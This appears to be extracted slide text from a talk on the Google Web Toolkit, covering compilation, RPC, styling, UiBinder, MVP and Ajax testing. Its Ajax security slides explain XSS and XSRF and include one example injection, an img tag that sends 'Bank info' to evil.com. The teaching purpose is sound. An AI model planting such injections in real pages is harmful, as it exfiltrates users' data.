all about gwt

Building Ajax applications with Java

Ed BrasSoftware Engineered@iTed.nl

iTedBelastingvriendin

Ed Bras | ed@ited.nl 2

• What is GWT?

• My first GWT application

• The GWT compiler

• Native Javascript support

• GWT under the hood

• Making own widgets

• Backend integration

• GWT-RPC

• Spring integration

• DTO’s usage

• Ajax security

• Code splitting

• Styling and Themes

• Client bundle

• UIBinder

• MVCP pattern

• Service handler

• GWT enterprise development

• Display data binding

• IDE integration

• Ajax testing

• Third party GWT frameworks

• Sales talk

• GWT usage

Javascript

• Building interactive web sites

• Java -> Javascript compiler

• Browser independent

• Browser support: FF, IE, Chrome, Safari, Opera

• No browser plugin needed

• Open source, Apache 2.0 license

Java Code

Firefox FirefoxSafari

Chrome

• Create project

• GWT jar’s

• JRE support + source code

• Not-supported classes

• Development mode

• Debugging

• Compile with Maven

• GWT Eclipse plugin

• Generating optimized Javascript

• Faster Javascript then handwritten

• Dead code removal, Type tighten, inlining, aggressive obfuscation, etc…

JavascriptJava Code

Shape s = new Square(2);

int a = s.getArea();

equals:

Square s = new Square(2);

inta = s.length* s.length;

becomes:

int a = 4;

• Newest compiler: 3 – 20 % smaller code

• Compiler output: obfuscated, pretty, report

• Predictable code: no reflection

• Deferred binding alternative

• Compiler permutations

GWT.create(DOMImpl.class)

DOMImpl

DOMImplIE6 DOMImplOpera

• Internationalization support

• Inline property replacement

• Extending properties

MyLabels

interfacemylabels_nl.properties

Usage:MyLabels props = GWT.create(MyLabels.class);

props.getCustomerTitle();

CommonLabels

interfacecommonlabels_nl.properties

packageContent:customerTitle = Alle klanten

• Different permutations (browsers x languages)

Indicate Possible locales (permutations) in gwt.xml:<extend-property name="locale" values="nl, es" />

Indicate required Locale:Set required locale in gwt.xml file:

<set-property name="locale" value="nl" />

Set required locale in html file:

Set required locale in URL:

http://www.example.org/myapp.html?locale=nl

• Call Javascript code from Java

public native String flipName(String name) /*-{ var re = /(\w+)\s(\w+)/; return name.replace(re, '$2, $1');

• Call Java code From Javascript

• Results in many possibilities

• GWT wrappers around existing Javascript lib’s

• Direct JQuery calls (GQuery)

• Flash integration through FABridge

• DOM programming through Java Overlay types

• Binding of a Java object to a Javascript object

• IDE advantages

• Use JSON objects as Java objects

• Friendly usage of Javascript lib’s

JSON data from server:var jsonData = [{ "FirstName" : "Jimmy", "LastName" : "Webber" },{ "FirstName" : "Alan", "LastName" : "Dayal" },

Overlay Java Class:public class CustomerJso extends JavaScriptObject implements Customer {protected CustomerJso() { }

public final native String getFirstName() /*-{ return this.FirstName; }-*/;public final native String getLastName() /*-{ return this.LastName; }-*/;public final String getFullName() {return getFirstName() + " " + getLastName();

Usage:public void onModuleLoad() {

Customer c = getFirstCustomer();Window.alert("Hello, " + c.getFirstName());

private native CustomerJso getFirstCustomer() /*-{return $wnd.jsonData[0]; // example: contains the result from a backend call

• Gwt-google-apis:

• Google Maps

• Google Ajax search

• Google Gears

• etc..

• Widget and Panel Hierarchy Implements HasWidgets

• HTML standard mode support

• Helper classes

GWT HistoryDOM

• DOM: Dom element management

• GWT: Global application management

• History: Ajax navigation via URL fragments

Show page 1Add History

markerShow page 2

Add History marker

History queue

page 1….

back: inform back: inform

inform

• Object presentation on the DOM

Button

parent

child’s

Button

parent

child’s

Logical attachment Physical attachment

contains

• Element API examplesUIObject.getElement() // element location

Element.getStyle()

Element.setPropertyString(String, String)

Element.setScrollLeft(int)

Element.setTitle(String)

Element.getClassName() // same as Widget.getStyleName()

• Toevoegen child widget:// logical and physical attachment:FlowPanel panel = new FlowPanel();

RootPanel.get().add(panel);

Panel.add(new Label(“some text”); // attachment

// Only physical attachment (not normal usage):FlowPanel panel = new FlowPanel();

RootPanel.get().add(panel);

Panel.getElement().appendChild(new Label(“some text”).getElement)); // attachment

•Extending existing widgets:

• Flexible re usage

• No clear API

• Composite class usage:

• Clear API

• Poor reusage, not lazy, heavy constructor

• Improved alternative: SimpleComposite

• Event example

• Event sinking

• Event bubbling transparency

• Blur and Focus do not bubble

Button

parent

child’s

Capture phase Bubbling phase

• What goes wrong ?

function makeWidget() {var widget = {}; widget.someVariable = "foo"; widget.elem = document.createElement ('div'); widget.elem.onclick = function() {

alert(widget.someVariable); };

• Browsers garbage collection of cycled referencedA -> B -> A (widget -> elem -> widget)

• GWT guarantees no memory leaks

• Element -> Widget association not possible

• Asynchronous backend calls

Show table with data

Create Table View

Fetch Table data

Show table with data

Create Table View Fetch Table data

Asynchronous

Synchroon

backend

frontend

• SOP: Same Origin Policy

• Alternative:

• Server proxy: extra delay

• <script> DOM element: less secure

Our domain

Neighbor

Load application

SOP restriction

• Impact integration of existing backend

• Page lifecycle not on server

• Lightweight

• Easy integration with existing Get/Post backend

Ed Bras | ed@ited.nl

• Communication basics:

• GWT-RPC (java backend)

• Post/Get (any backend)

• JSNI

GWT applicatie

Backend

GWT-RPC Post/Get JSNI

J2EE container Any container Any container

XML JSON Text

• Post/Get

• Retrieving any data from the server

• Example: XML, JSON, TEXT

• JSON versus XML

• Third party lib’s for REST services

• Example: Restlet, RestyGWT (REST + JSON)

• GWT RequestBuilder class:

• Default Post/Get support (Safari bug)

• Head/Delete/etc.. support through subclassesRequestBuilder.sendRequest(String, RequestCallback)

• Post/Get

• GWT XML en JSON helper classes

• GWT-RPC

• Transparent backend connection

• Java Object sharing

• Lightweight mechanism

• GWT-RPC Customer exampleserver client

GWT J2ee container

CustomerServiceDefault

CustomerService

RemoteServiceServlet

CustomerServiceAsync

web.xml…

mapping

service = GWT.create(CustomerService.class);service. getAllCustomers()

Remote Service

• Transport object:

• Implements (indirect) Serializable

• No-arg constructor

• Field must be non-final (log warning)

• Transient field not over the wire

• Generated Serialization code reduction:

• Prefer ArrayList<E> over List<E> in Service interface

• Only Checked exceptions over the wire

List<Customer> getAllCustomers() throws StaleCustomerStateException;

• Exception translation

Mediator layer

Dynamic proxy Exception Translator

Unchecked -> Checked Exception

BrowserGWT application

Example: Source: MemberNotLoggedInRuntimeExceptionTarget: MemberNotLoggedInException

java.lang.reflect.Proxy

• <MD5>.gwt.rpc policy file

• War deployment

• Spring integration

• Third party connector (gwtwidgets)

• Mapping through Spring instead through web.xml

J2EE container(s)

Web server(s)

BrowserGWT Application

• Friendly environmentDevelopment

Start/Stopindex.html

load application/resoucesbackend communication

proxy calls

Customer

code share

gwt-servlet.jar

publish

Browser plugin

Separated deployment

• GWT noserver mode

• Friendly development environment:

• SOC (Separation of Concerns)

• Friendly testing (mocks)

• Friendly deployment (separated)

• Serialization policy solution (SerializationPolicy)

• Lightweight backend

• Simple scalable (horizontal)

• Almost stateless

• Optimizing object transport (light, share, security)

• Prevents enhanced object problems (hibernate)

• Adjust and test DTO conversion

Mediator layer

BrowserGWT application

DTO’s (CustomerDto)

Domain objects (Customer)DTO

converter

Backend communication

• DTO converter: Dozer

• Gilead:

• No DTO converter needed

• Backend impact

• Code impactDomain object(Customer)

DTO object(CustomerDto)

• Bill Hoffman film en book Ajax Security

• GWT doc

• Ajax paradox: more in not-trustable client

• Security role undermind

• Differences with not-Ajax time

• State in client

• Backend calls as webservices

Not-Ajax backend Ajax backend

Not to be trusted?

Backend

• Evil state in front-end

• Specification backend access (control and state)

• Ajax as blueprint van de backend

• Example:

• Booking flight: select, reservation, pay, book

• Price attack: price in Javascript variable

Backend

• More business logic in browser (HtmlGuardian)

• You best friend: Firebug

• Javascript security friend: Flash (no SOP)

• Storing login info in client (https login)

• Logic controlled denial attack

• Revered Obfuscating

• Dynamic code loading

• Method Clobbering

Frontend

• Element.innerHTML(UserSCRIPTInput)

• eval(JSON) -> evil() (Javascript is Evil)

• JSONP (JSON Padding) is evil (proxy)

• Evil Google Gadgets

• Hacker type:

• The user (before)

• Clone a user

Frontend

• XSS (Cross Site Scripting)

• XSRF (Cross Site Request Forging)

Trusted domain Evil domain

Inject Javascript

<img src=“evil.com?info=Bank info”></img>Cookie

Request forging

• Cookie duplication

• GWT:

• Hiding Javascript

• Usage JSONParser

• More default checks in future

• Many attention on infrastructure security

• Little attention on Application security (hacker happy)

• Loading of application in small code fragments

HTML JS Running

without code splitting

with code splitting

Running Running Running

JS JS JS

GWT.runAsync(new RunAsyncCallback() {public void onSuccess() {

// Runs when code is loaded with success}

public void onFailure(Throwable reason) {// Runs when loaded with failure

• Example of split point in code

Start Code

Split point 1

Split point 2

Left over

Code base

Loading first code fragment

• Lazy loading when needed

• Manual Code splitting

• Minimizing left over

• Isolate code fragments

• SOYC (Story Of Your Compile)

• When loading which code?

• Code fragment size

• Compiler optimizing

• etc…

• CSS faster than element styling

element. getStyle().setBackgroundColor(“#FF00FF”)

• (GWT) CSS include through

• <link> in Html page

• In gwt.xml file (preferred)

• Through UIBinder and CssResource

• Widget styles:

• UIObject.setStyleName(“button”)

• UIObject.setStylePrimaryName(“button”)

• UIObject.addStyleDependentName(“enabled”)

WidgetStyler Widget

add mouse/click listeners

Decorator

enable/disable/select

primary style

• Visual Theme:

• Inject a set of style sheets through a separate gwt.xml file

• Usage with reusable components

• GWT standard themes: standard, chrome, dark

Usage:<inherits name='com.google.gwt.user.theme.standard.Standard'/>

Content of Standard.gwt.xml:<module>

• Dynamic change of style sheetspublic static boolean removeStyleSheet(String id) {

Element elem = DOM.getElementById(id);if (elem == null) {

return false;}else {

Element parent = elem.getParentElement();parent.setPropertyString("disabled", "disabled");parent.removeChild(elem);

return true;}

public static void addStyleSheet(String id, String url) {Element link = DOM.createElement("link");link.setPropertyString("rel", "stylesheet");link.setPropertyString("type", "text/css");link.setPropertyString("id", id);link.setPropertyString("href", url);link.setPropertyString("disabled", "");Element head = getHead();head.appendChild(link);

public native Element getHead() /*-{ return $doc.getElementsByTagName('head')[0]; }-*/;

• Include static resourcespublic interface MyResources extends ClientBundle {public static final MyResources INSTANCE = GWT.create(MyResources.class);

@Source("my.css")public CssResource css();

@Source("config.xml")public TextResource initialConfiguration(); // i18N support (config_us.xml)

@Source("default.txt")

public TextResource defaultText(); // i18N support (default_nl.txt)

@Source("manual.pdf")public DataResource ownersManual(); // i18N support (manual_es.pdf)

@Source("logo.png")

ImageResource logo(); // i18N support (logo_es.png)}

Usage:MyResources.INSTANCE.css().ensureInjected();

// Display the manual file in an iframenew Frame(MyResources.INSTANCE.ownersManual().getURL());

• Perfect caching (predictable)

• MD5 file name

GWT Compiler

Manual.pdf A49CB1C6CF624BC21D0E59CDCD566951.pdf

<Files *.nocache.*>ExpiresDefault "access"

</Files>

<Files *.cache.*>ExpiresDefault "now plus 1 year"

</Files>

• File change results in MD5 file name change

• Apache caching (mod_expires)

• CssResource

@def myIdent 10px;

@sprite panel {gwt-image: “alertInfo”;

.foo {background: green;

@if user.agent ie6 {.foo {position: relative;

}} @else {.foo {font-size: x-large;

interface MyResources extends ClientBundle {@Source("my.css")@CssResource.NotStrictMyCss css();

@Source("images/alert-info-ff00ff.gif")@ImageOptions(repeatStyle = RepeatStyle.None)ImageResource alertInfo();

interface MyCss extends CssResource {String className();String myIdent();

MyResources resources = GWT.create(MyResources.class);Label l = new Label("Some text");l.addStyleName(resources.css().className());

Stylesheet Usage

in classpath

• CssResource:

• More control and flexible

• Efficient loading of images

• GWT compiler performs more checks

• Css code -> Java code -> more checks/control

• Minimizing style sheet

• Obfuscating

• Predictable/perfect caching

• Templating elementsHelloWorld.ui.xml:<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'><div>

Hello, <span ui:field='nameSpan'/>.</div>

</ui:UiBinder>

public class HelloWorld extends UIObject {interface MyUiBinder extends UiBinder<DivElement, HelloWorld> {}

private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);@UiField SpanElement nameSpan;

public HelloWorld() {setElement(uiBinder.createAndBindUi(this));

public void setName(String name) { nameSpan.setInnerText(name); }}

Usage:HelloWorld helloWorld = new HelloWorld();Document.get().getBody().appendChild(helloWorld.getElement());helloWorld.setName("World");

• Templating widgetsHelloWidgetWorld.ui.xml:<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder‘ xmlns:g='urn:import:com.google.gwt.user.client.ui'>

<g:HTMLPanel>Hello, <g:ListBox ui:field='listBox' visibleItemCount='1'/>.

</g:HTMLPanel></ui:UiBinder>

public class HelloWidgetWorld extends Composite {interface MyUiBinder extends UiBinder<Widget, HelloWidgetWorld> {}

private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);@UiField ListBox listBox;

public HelloWidgetWorld(String... names) {initWidget(uiBinder.createAndBindUi(this));for (String name : names) {

listBox.addItem(name); }

Usage:HelloWidgetWorld helloWorld = new HelloWidgetWorld("able", "baker", "charlie");

• Improve performance (innerHTML usage)

• Many styling possibilities

• Separation of Widget and Template

• 1 Widget with different templates

• Design friendly

• IDE friendly

• Annotation usage (listener method)

• Compare with Flex and Faclets (JSF)

Presenter 1

Event bus

Events:…App initApp prepare testApp prepare 1..App build 1..App show..Global data changed

CustomerController

ShowPresenter

ModifyPresenter

Show View Modify View

Display register

Data Model

Create lazy through code split

Shared display content:Tab content ….

Interface association

Bubbling actions:Click gotoModify button

Business logic

Presenter logic

optional

• Separated view, business en presentation logic

• Forced separating

• Friendly testing

• Interface associations

• Data model Observer memory leaks

• GWT doc

• Central handler for backend communication

• Control of backend calls (queue, timeout, etc..)

• Central progress monitor

• Wrap existing Async calls

Usage:final AsyncCallback<Member> callback = createCallback();….serviceHandler.add(new AsyncCommand<Member>() { // add service handler

public AsyncCallback<Member> getCallback() {return callback;

void run(final AsyncCallback<Member asynCallback) {getBackendFacade().login(“bla”, “geheim”, asynCallback);

• Split GWT project in production, test en development

DeclareCommon.gwt.xml

DeclareProd.gwt.xml DeclareTestCommon.gwt.xml

DeclareTest.gwt.xml DeclareDev.gwt.xml

Lean and mean (800k):no assertsno element id’setc..

Test enabled (1200k):with assertswith element id’swith dev panelbackend mockingTest data via URL paramsetc..

More Test data options<div id=“bla”>rik</div>

Id is needed for Ajax testing

• Flexible environment settings

• Friendly develop environment

• Mocking backend (offline mode)

• Unit testing through URL parameters

• Deferred binding

• Model Display binding

Data model Displaybinding ?

Fill display with model data

Data model

Desired: Decouple of display details en data binding (SOC)Reusable data binding

public void update(data collection) {foreach(Data item: data) {

table.setText(0, 1, item.getLabel());}

TableViewer

TableViewer decorates Table

• TableViewer example

Data model

1: update2Display(List<Customer>)

TableEditor

2: update2Display(RowEditor, Customer)

RowEditor

Display table

contains

3: Customer specific:rowEditor.setHtml(0, customer.getFirstName()); rowEditor.setWidget(1, new Label(customer.getLastName()));….

• Viewer decorates Display component

• SOC (Separation Of Concern)

• Friendly syncing of data and display

• Reusable for other data

• Usage in well known GUI frameworks

• Example: FormField en FormFieldViewer

• GWT Eclipse plugin

• GWT Designer of Instantiations (no UIBinder)

• Waiting for UIBinder IDE support

• Unit testing of not-Display parts (MVCP)

• Unit testing of GWT display parts met Junit

• Nightly build met Cargo- en GWT maven plugin

• Difficult to test the Ajax frontend

• Selenium van Thoughtworks:

• FF plugin for scenario recording

• Selenium RC (java, Groovy, etc…)

• Ajax model test framework:

• Modeling of browser elements

• Selenium as browser implementation

Display

First name

Last name

News letter

• Ajax model test framework

Cssselector

TypeElement

CheckElement

typeWait(“bla”)

clickWait(“bla”)

Locator

Browser

interface contains

Selenium RC

modeling

contains

interface

• Hierarchy of reusable rich browser elements

• Compose new elements

• Friendly usage none-developer

• Run through testNG/Junit

• Run during nightly build

• GWT focus: compiler and core

• Many GWT hobby projects

• GXT van Ext Js (former mygwt)

• SmartGWT

• RocketGWT

• Many GWT wrappers

• GIN (GWT Injection), based on Google Guice

• It’s Google (future, sexy)

• Open source project, no license costs

• Google Wave and AdWords build with GWT

• GWT more popular every day

• Rich interactive web sites possible

• Browser independent

• No browser plugin needed

• Short learning curve

• GWT has a clear programming model

• Existing Java developers can start directly

• Usage of standard Java development tools

• GUI design tools available

• Many GWT libraries available

• Fast application building (Prototyping)

• Many and complex functionality possible

• No/little Javascript knowledge needed

• Simple and fast deployment

• Simple integration with existing backend

• Simple scalability

• Less backend resource usage

• Friendly integration with Google API’s.

• Integration with Flash in the browser

• Light weight

• Compiler optimizing (compact, obfuscated)

• Reusable existing Java code

• CMS friendly

• Test/develop friendly (prod, test, dev modes)

• GUI binder

• Less:

• Still solving browser CSS differences yourself

• less suitable for complex animations

• Less suitable for tiny Javascript application

• Not search engine friendly (poor ranking)

• JQuery for simple Ajax functionality

• Flash for Trendy sites

• Other: GWT

• Use case: Lombardi/IBM Blueprints:

• Started with Flash (cross-browser bugs)

• Then DOJO (too big)

• Now GWT (take over by IBM)

• Use case: Mendix, generation of GWT front-end

• Roadmap not public known

• Compiler optimizing, richer widgets, standard mode, security, etc..

• HTML 5 support

• More used every day (forum active)

• Google GWT site: doc, samples, blog, forum

• GWT on Youtube (I/O sessions)

• Google books

• LinkedIn group(s): GWT Dutch Professionals

• Call/Mail me (ed@ited.nl, www.ited.nl)

all about gwt

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